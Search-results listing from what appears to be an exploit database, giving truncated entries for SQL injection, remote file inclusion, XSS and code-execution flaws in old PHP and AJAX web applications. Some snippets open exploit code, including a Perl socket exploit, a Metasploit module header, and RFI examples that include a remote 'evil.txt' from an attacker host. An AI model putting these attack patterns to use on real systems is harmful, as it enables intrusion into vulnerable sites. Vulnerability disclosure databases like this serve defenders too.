9834 matches found
Ajax File Browser 3b (settings.inc.php approot) RFI Vulnerability
No description provided by source. Ajax File Browser 3 Beta Remote File Inclusion found by the arfis project http://arfis.wordpress.com/ Project Info: ------------- Name: Ajax File Browser Link: http://sourceforge.net/projects/ajaxfb/ DL:...
phpBB Ajax Shoutbox <= 0.0.5 - Remote File Include Vulnerability
No description provided by source. Title: phpBB Ajax Shoutbox = 0.0.5 phpbbrootpath Remote File Inclusion Author/Discovery: boecke Vulnerability Type: Remote File Inclusion Risk: High Risk Software Affected: phpBB Ajax Shoutbox = 0.0.5 Release Source:...
PAJAX <= 0.5.1 - Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl use IO::Socket; print PAJAX Remote Code Injection - code by: Stoney - exploit found by: RedTeam\n; if $ARGV0 && $ARGV1 $host = $ARGV0; $path = $ARGV1; $sock = IO::Socket::INET-new Proto = tcp, PeerAddr = $host, PeerPort = 80 || die connecterror\n;...
Joomla JE Ajax Event Calendar Component (com_jeajaxeventcalendar) SQL Injection
No description provided by source. Vendor: http://joomlaextensions.co.in/extensions/components/je-ajax-event-calender.html Download: http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/12110 Author: altbta Contact: l9atHotmailDotcom Home: http://xp10.com Thanks to:...
Cloupia End-to-end FlexPod Management Directory Traversal
No description provided by source. Cloupia End-to-end FlexPod Management - Directory Traversal Vulnerability Advisory Information Advisory ID: KUSTODIAN-2011-011 Date published: Jan 13, 2011 Vulnerability Information Class: Directory Traversal Remotely Exploitable: Yes Locally Exploitable: Yes...
Douran 3.9.7.8 File Download/Source Code Disclosure Vulnerability
No description provided by source. Title: Douran Portal File Download/Source Code Disclosure Vulnerability Date of Publishing: 16 March 2010 Application Name: Douran Portal Version: 3.9.7.8 Impact: Medium Vendor: www.douran.com Link: http://douran.com/HomePage.aspx?TabID=4862 Vendor Responses: Th...
BPRealestate Real Estate Authentication Bypass Vulnerability
No description provided by source. / / / \ \ \ \ \ / / \\ \ \ \ \ // /// \ \ / / \ //|\ / \ \ \ \ \ \ / / \ \ / / \ | | | \ | | || | | |/ / \ V / || |\ V / / \ | / \ | /| | | || / | | | | . | ' || / | || // \ // \|||/|||||||||\ .WEB.ID...
joomla component com_manager 1.5.3 - (id) SQL Injection Vulnerability
No description provided by source. ----------------------------------------------------------------------- Joomla Component commanager 1.5.3 id SQL Injection Vulnerability ----------------------------------------------------------------------- Author : Islam DefenDers Mr.HaMaDa Site :...
OpenSIS 'modname' - PHP Code Execution
No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def...
vBulletin ImpEx <= 1.74 Remote Command Execution Exploit
No description provided by source. ?php / vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN Sh0uts: xorcrew.net, ajax, gml, subterrain, My gf url: http://www.xorcrew.net/ReZEN example: turl: http://www.target.com/impex/ImpExData.php?systempath= hurl:http://www.pwn3d.com/evil.txt? / $cm...
ActualAnalyzer Pro <= 6.88 (rf) Remote File Include Exploit
No description provided by source. ?php // No hard feelings ReZEN, I just post them when I get them. /str0ke / ActualAnalyzer Remote File Inclusion Exploit c0ded by ReZEN Sh0uts: xorcrew.net, ajax, gml, subterrain, D2K url: http://www.xorcrew.net/ReZEN example: turl: http://www.target.com/path to...
DotDefender <= 3.8-5 No Authentication Remote Code Execution Through XSS
No description provided by source. / DotDefender = 3.8-5 No Authentication Remote Code Execution Through XSS Tested on DotDefender 3.8-5 On Ubuntu Server 9.10 64-bit with Firefox 3.6.3 Paul Hand aka rAWjAW AT offsec.com Original Post-Authentication Remote Command Execution Vulnerability:...
Ferdows CMS Pro <= 1.1.0 - Multiple Vulnerabilities
No description provided by source. www.BugReport.ir AmnPardaz Security Research Team Title: Ferdows CMS Pro =1.1.0 Multiple Vulnerabilities Vendor: www.fcms.ir Exploit: Available Vulnerable Version: 1.1.0 Pro Impact: Medium Original Advisory: http://www.bugreport.ir/index77.htm Fix: N/A 1...
Ajax Upload Arbitrary File Upload
No description provided by source...
GTX CMS 2013 Optima - SQL Injection
No description provided by source. Document Title: =============== GTX CMS 2013 Optima - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1124 Release Date: ============= 2013-10-29 Vulnerability Laboratory ID VL-ID:...
Vanilla <= 1.1.3 - Remote Blind SQL Injection Exploit
No description provided by source. ?php Vanilla = 1.1.3 Remote Blind SQL Injection Exploit By InATeam http://inattack.ru/ Requirements: MySQL = 4.1, magicquotesgpc=Off Tested on versions 1.1.3, 1.1.2, 1.0.1 echo ------------------------------------------------------------\n; echo Vanilla = 1.1.3...
MediaWiki 1.x AJAX Index.PHP Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/21956/info MediaWiki is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the...
MemHT Portal 4.0.1 - SQL Injection Code Execution Exploit
No description provided by source. !/usr/bin/perl =about MemHT 4.0.1 Perl exploit AUTHOR discovered & written by Ams ax330d doggy gmail dot com VULN. DESCRIPTION: Due to weak params filtering we are able to make SQL-Injection. So, 1. Look at 'inc/ajax/ajaxrating.php', line 29. It is not enough to...
Wordpress Ajax Pagination Plugin 1.1 - Local File Inclusion
No description provided by source...
Joomla AJAX Shoutbox <= 1.6 - Remote SQL Injection Vulnerability
No description provided by source. Joomla AJAX Shoutbox remote SQL Injection vulnerability - Author: Ibrahim Raafat - Contact: https://twitter.com/RaafatSEC - Discovery date: 1 April 2010 4 years ago - Reported to vendor : 12 March 2014 - Response: Quick response from the developer, Patched and...